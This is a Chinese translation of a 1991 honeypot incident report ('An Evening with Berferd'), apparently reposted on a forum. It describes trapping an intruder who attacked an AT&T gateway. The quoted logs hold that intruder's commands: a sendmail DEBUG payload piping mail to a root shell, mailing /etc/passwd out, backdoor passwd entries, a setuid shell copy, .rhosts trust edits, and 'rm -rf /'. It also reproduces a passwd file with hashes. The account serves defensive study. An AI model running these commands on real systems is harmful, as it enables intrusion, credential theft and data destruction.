| 关键词: stanford embezzle 一个 inet 帐号 Attempt passwd edu login 文件 |
-------把这篇文章献给那些已经或正在成为一名黑客的同学,希望大家在破解别人的同时能同时注意到自身的安全。:)在1991年1月7号,一个黑客,他确信自己发现了我们的Internet网关计算机的sendmail的一个DUBUG漏洞的黑客,试图获得我们的password文件,我“送”给他了一份。在几个月中,我们引诱这名黑客作各种快乐的尝试,以便于我们发现他的位置和使用的破解技术。这篇文章是对该黑客的“成功”和失败,我们使用的诱饵和陷阱的详细记录我们的结论是我们所遇到的这个黑客拥有大量的时间,固执异常,并持有一份优秀的系统漏洞列表。一旦他获得了系统的一个正式注册身份,使用那些漏洞他可以轻易的攻破uucp和bin帐号,然后是root。我们的黑客对军事目标和可以帮助他中转其连接的新机器很感兴趣。简介我们的安全Internet网关是1990年1月开始使用的。对于这个整个城堡的大门,我想知道它所可能遭到的攻击会有多么频繁。我明白Internet上有一些喜欢使用“暴力”的人,那么他们是谁?他们会攻击什么地方?会多么频繁?他们经常尝试系统的那些漏洞?事实上,他们没有对AT&T作出破坏,甚至很少光顾我们的这扇大门,那么,最终的乐趣只有如此,引诱一个黑客到一个我们设计好的环境中,记录下来他的所有动作,研究其行为,并提醒他的下一个目标作出防范。大多数Internet上的工作站很少提供工具来作这些事情,商业系统检测并报告一些问题,但是它们忽略了很多我们想要的东西。我们的网关每天产生10兆的日志文件。但人们对于日志记录以外的服务的攻击呢?我们添加了一些虚假的服务在系统上,同时我编写了一个script文件用来检索每天的日志。我们检查以下几点:FTP :检索的工具会报告每天所有注册和试图注册的用户名。它还会报告用户对tilde的使用(这是个老版本的ftp的漏洞)、所有对ftp目录的/etc/passwd和/etc/group的存取以及对pub目录下完整文件列表的获取。获取passwd的人通常用它来获得系统的正式用户的注册名称,然后攻击、破解其密码。有时有些系统的管理员会将系统的真实passwd文件放在ftp的/etc目录下,我们伪造了一个passwd文件,它的密码被破解后是“why are you wasting your time.”Telnet / login :所有试图login的动作都被记录了下来。这很容易就可以看出有些人在尝试很多帐号,或强力攻击某一个帐号。因为我们这个Internet的大门除了“警卫”外没有什么别的用户,很容易就可以找到问题所在。Guest / visitor 帐号:黑客们第一个寻找的就是公用帐号。这些帐号提供了友好的,最轻易的获取几乎系统的所有文件的机会,包括passwd文件。黑客也可以通过获取/etc/hosts.equiv文件或每个用户的.rhosts文件来获得机器的信任主机列表。我们对于这些帐号的login script文件是这样编写的:exec 2>/dev/null # ensure that stderr doesn't appeartrap "" 1/bin/echo( /bin/echo "Attempt to login to inet with $LOGNAME from $CALLER" |upasname=adm /bin/mail ches dangelo (notify calling machine's administrator for some machines...)# (finger the calling machine...)) 2>&1 | mail ches dangelo/bin/echo "/tmp full"sleep 5 # I love to make them wait..../bin/echo "/tmp full"/bin/echo "/tmp full"/bin/echosleep 60 # ... and simulating a busy machine is useful我们必须小心以便不让调用者看到系统的标志出错信息(如果一旦我们编写的script有误)。注意$CALLER是在另一端的主机或IP地址。通过修改telnetd或login,它将可以通过环境变量来获取。SMTP DEBUG : 这个命令提供了两个守候sendmail的漏洞的陷阱。虽然几乎所有的产品出售商都清除了这个漏洞,但偶尔仍有黑客尝试它。这个漏洞允许外部的使用者使用一段以root权限执行的script。当有些人尝试这个漏洞时,我就获得了他尝试的script代码。Finger :Finger提供了大量有用的信息给黑客:帐号名,该帐号的最后一次使用时间,以及一些可以用来猜测密码的信息。由于我们的组织不允许提供这些信息给别人,我们置入了一个程序,在finger了fingerd的调用者后拒绝figner请求。(当然我们会避免对来自自己的finger信息的死循环)。报告表明每天有数以十计的finger请求,其中大部分是合法的。Rlogin / rsh :这些命令都是基于一些无条件信任的系统,我们的机器并不支持。但我们会finger使用这些命令的用户,并将他的尝试和用户信息等生成报告。上述很多探测器都使用figner命令来查明调用的机器和使用者。当一个尝试显示为有不合法企图时,我就发出这样一条消息:inetfans [email protected] someone from math.sdsu.edu fetched the /etc/passwd filefrom our FTP directory. The file is not important, but these probesare sometimes performed from stolen accounts.Just thought you'd like to know.Bill Cheswick这是一个典型的信件,它被发往“inetfans”,这些人属于计算机紧急响应小组(Computer Emergency Response Team , CERT)、某些兴趣小组或对某些站点感兴趣的人。很多系统管理员很重视这些报告,尤其是军事站点。通常,系统管理员在解决这些问题上都非常合作。对这些信件的反应包括道歉,拒绝信件,关闭帐号以及沉默等等。当一个站点开来愿意支持黑客们的活动时,我们会考虑拒收来自该站的所有信息包。不友好的行动我们从1990年1月设置好这些探测器。统计表明被攻击率在每年学校的假期期间会上升。我们的被攻击率可能比其他站点高,因为我们是广为人知的,并被认为是“电话公司”。当一个远程使用者取走passwd文件时,并不是所有的人都出于恶意的目的。有时他们只是想看看是否传输能正常工作。19:43:10 smtpd[27466]: 19:43:14 smtpd[27466]: -------> debug19:43:14 smtpd[27466]: DEBUG attempt19:43:14 smtpd[27466]: 19:43:25 smtpd[27466]: -------> mail from:19:43:25 smtpd[27466]: 19:43:34 smtpd[27466]: -------> helo19:43:34 smtpd[27466]: HELO from19:43:34 smtpd[27466]: 19:43:42 smtpd[27466]: -------> mail from: 19:43:42 smtpd[27466]: 19:43:59 smtpd[27466]: -------> rcpt to: 19:43:59 smtpd[27466]: 19:44:44 smtpd[27466]: -------> rcpt to:19:44:44 smtpd[27466]: shell characters: |sed -e '1,/?$/'d | /bin/sh ; exit 0"19:44:45 smtpd[27466]: 19:44:48 smtpd[27466]: -------> data19:44:48 smtpd[27466]: 19:45:04 smtpd[27466]: 19:45:04 smtpd[27466]: /dev/null sent 48 bytes to upas.security19:45:08 smtpd[27466]: -------> quit19:45:08 smtpd[27466]: 19:45:08 smtpd[27466]: finished.这是我们对SMTP过程的日志。这些看来很神秘的日志通常是有两个邮件发送器来相互对话的。在这个例子中,另一端是由人来键入命令。他尝试的第一个命令是DEBUG。当他接收的“250 OK”的回应时一定很惊奇。关键的行是“rcpt to :”。在尖括号括起的部分通常是一个邮件接收器的地址。这里它包含了一个命令行。Sendmail在DEBUG模式下用它来以ROOT身份执行一段命令。即:sed -e '1,/?$/'d | /bin/sh ; exit 0"它剥去了邮件头,并使用ROOT身份执行了消息体。这段消息邮寄给了我,这是我记录下来的,包含时间戳:19:45 mail [email protected] 19:51 mail [email protected] 他希望我们邮寄给他一份我们的passwd文件。大概用来运行一些passwd破解程序。所有这些探测结果都来自EMBEZZLE.STANFORD.EDU的一个adrian用户。他在美国空袭伊拉克半个小时后公然作出敌意反应。我怀疑是萨达姆雇佣了一两个黑客。我恰巧在ftp的目录下有一个假的passwd文件,就用root身份给Stanford发了过去。第二个早晨,我听到了来自Stanford的消息:他们知道了这件事,并正在发现问题所在。他们说adrian这个帐号被盗用了。接着的一个星期天我接到了从法国发来的一封信:To: [email protected]: intruderDate: Sun, 20 Jan 91 15:02:53 +0100I have just closed an account on my machinewhich has been broken by an intruder coming from embezzle.stanford.edu. He(she) has left a file called passwd. The contents are:------------>From [email protected] Tue Jan 15 18:49:13 1991Received: from research.att.com by embezzle.Stanford.EDU (5.61/4.7);Tue, 15 Jan 91 18:49:12 -0800Message-Id: [email protected]>From: [email protected]: Tue, 15 Jan 91 21:48 ESTTo: [email protected]: mgajqD9nOAVDw:0:2:0000-Admin(0000):/:Daemon: *:1:1:0000-Admin(0000):/:Bin: *:2:2:0000-Admin(0000):/bin:Sys: *:3:3:0000-Admin(0000):/usr/v9/src:Adm: *:4:4:0000-Admin(0000):/usr/adm:Uucp: *:5:5:0000-uucp(0000):/usr/lib/uucp:Nuucp: *:10:10:0000-uucp(0000):/usr/spool/uucppublic:/usr/lib/uucp/uucicoFtp: anonymous:71:14:file transfer:/:no soapChes: j2PPWsiVal..Q:200:1:me:/u/ches:/bin/shDmr: a98tVGlT7GiaM:202:1:Dennis:/u/dmr:/bin/shRtm: 5bHD/k5k2mTTs:203:1:Rob:/u/rtm:/bin/shBerferd: deJCw4bQcNT3Y:204:1:Fred:/u/berferd:/bin/shTd: PXJ.d9CgZ9DmA:206:1:Tom:/u/td:/bin/shStatus: R------------Please let me know if you heard of him.陪伴Berferd的一个夜晚1月20号,星期天晚上,我的终端报告有安全敏感事件。22:33 finger attempt on berferd几分钟后,有人试图使用DEBUG来用ROOT身份执行命令,他试图修改我们的passwd文件!22:36 echo "beferdd::300:1:maybe Beferd:/:/bin/sh" >>/etc/passwdcp /bin/sh /tmp/shellchmod 4755 /tmp/shell连接同样来自EMBEZZLE.STANFORD.EDU。我该怎么作呢?我不希望他真的能获得一个网关的帐号,为什么引狼入室呢?那样我将得不到他的键盘活动。我应该继续看看他关注的其他事情,或许我可以手工模拟一下操作系统,这意味着我必须让他以为机器速度很慢,因为我无法和MIPS M/120相比。同时意味着我必须模拟一个一致的操作系统。我已经有一个要求了,因为他已经持有了一份passwd。决定一:ftp的passwd是一个真实的passwd。还有另外的两个:决定二:网关机器管理极差。(有DEBUG漏洞,ftp目录里有passwd)。决定三:网关机器极慢。因此我决定让他以为他已经改变了passwd文件,但却不急于让他进来。我必须生成一个帐号,但却使它不可操作。我应该怎么办?决定四:我的shell并没有放在/bin下,它放在其他地方。这样,他进来后(让他认为passwd已经改动了),没有可运行的shell。这个决定很愚蠢,但我不会因此损失任何东西。我写了一个script,生成了一个临时帐号b,当它被调用时它会给我发信,调用者将看到如下信息:RISC/os (inet)login: bRISC/os (UMIPS) 4.0 inetCopyright 1986, MIPS Computer SystemsAll Rights ReservedShell not found我把b帐号在实际passwd文件中改成了beferd,当我作完后,他在此尝试:22:41 echo "bferd ::301:1::/:/bin/sh" >> /etc/passwd他的另一个试图添加到passwd文件的尝试。事实上,在我为bferd完成新的配置之前他开始急躁了:22:45 talk [email protected]?Hford.edutalk [email protected]决定五:我们没有talk这个命令。他选择了berferd这个帐号:22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU22:49 Attempt to login to inet with bferd from embezzle.Stanford.EDU22:51 (Notified Stanford of the use of Tip-QuadA.Stanford.EDU)22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU22:55 echo "bfrd ::303:1::/tmp:/bin/sh" >> /etc/passwd22:57 (Added bfrd to the real password file.)22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU23:05 echo "36.92.0.205" >/dev/nullecho "36.92.0.205 embezzle.stanford.edu">>/etc./?H?H?H23:06 Attempt to login to inet with guest from rice-chex.ai.mit.edu23:06 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts23:08 echo "embezzle.stanford.edu adrian">>/tmp/.rhosts很显然他希望能够rlogin到我们的网关,这需要一些本地文件的特定设置。我们并没有作rlogin的检测。这时他又有新的动作:23:09 Attempt to login to inet with bfrd from embezzle.Stanford.EDU23:10 Attempt to login to inet with bfrd from embezzle.Stanford.EDU23:14 mail [email protected] ps -aux|mail [email protected]在rlogin失败后,他希望能得到我们的inetd.conf文件来查看我们究竟启动了什么服务。我不想让他看到真正的inetd.conf,但伪造一个又非常困难。决定七:网关机器运行不稳定,时有不确定事件。23:28 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hostsecho "embezzle.stanford.edu adrian" >> /tmp/.rhostsps -aux|mail [email protected] [email protected] 我不希望他看到ps的结果,幸运的是,他的Berkeley系统的ps命令在我的System V机器上是无效的。这时我通知了CERT,这时一起严重的攻击事件,在Stanford也应该有追踪这些请求的人。这时,活动又转到ftp上来:Jan 20 23:36:48 inet ftpd[14437]: (Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready.Jan 20 23:36:55 inet ftpd[14437]: -------> user bfrd?MJan 20 23:36:55 inet ftpd[14437]: Jan 20 23:37:06 inet ftpd[14437]: -------> pass?MJan 20 23:37:06 inet ftpd[14437]: Jan 20 23:37:13 inet ftpd[14437]: -------> pass?MJan 20 23:37:13 inet ftpd[14437]: Jan 20 23:37:24 inet ftpd[14437]: -------> HELP?MJan 20 23:37:24 inet ftpd[14437]: recognized (* =>'s unimplemented).Jan 20 23:37:24 inet ftpd[14437]: [email protected] 20 23:37:31 inet ftpd[14437]: -------> QUIT?MJan 20 23:37:31 inet ftpd[14437]: Jan 20 23:37:31 inet ftpd[14437]: Logout, status 0Jan 20 23:37:31 inet inetd[116]: exit 14437Jan 20 23:37:41 inet inetd[116]: finger request from 36.92.0.205 pid 14454Jan 20 23:37:41 inet inetd[116]: exit 1445423:38 finger attempt on berferd23:48 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts.equiv23:53 mv /usr/etc/fingerd /usr/etc/fingerd.bcp /bin/sh /usr/etc/fingerd决定四已经决定了最后一行的尝试必然失败。因此,他只是破坏了我们模拟的机器上的finger而已,并没有将之替换成一个shell程序。我关闭了实际的fingerd程序。23:57 Attempt to login to inet with bfrd from embezzle.Stanford.EDU23:58 cp /bin/csh /usr/etc/fingerd我们模拟的机器上csh并不在/bin下,因此这个命令无效。00:07 cp /usr/etc/fingerd.b /usr/etc/fingerd好吧,fingerd现在重新开始工作。Berferd的恢复工作干的不错。00:14 passwd bfrtbfrtbfrt现在他试图修改password,这永远不会成功,因为passwd的输入是/dev/tty,不是sendmail所执行的shell script。00:16 Attempt to login to inet with bfrd from embezzle.Stanford.EDU00:17 echo "/bin/sh" > /tmp/Shellchmod 755 /tmp/shellchmod 755 /tmp/Shell00:19 chmod 4755 /tmp/shell00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU这时我已经很累了。01:55 rm -rf /&喔!!太狠了!显然机器的状态让他迷惑,他希望能清除所有的痕迹。有些黑客会保护自己所作的工作,声明自己不作任何破坏。我们的黑客对我们感到疲劳了,因此以此结束。他继续工作了几分钟,后来放弃:07:12 Attempt to login to inet with bfrd from embezzle.Stanford.EDU07:14 rm -rf /&07:17 finger attempt on berferd07:19 /bin/rm -rf /&/bin/rm -rf /&07:23 /bin/rm -rf /&07:25 Attempt to login to inet with bfrd from embezzle.Stanford.EDU09:41 Attempt to login to inet with bfrd from embezzle.Stanford.EDU |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|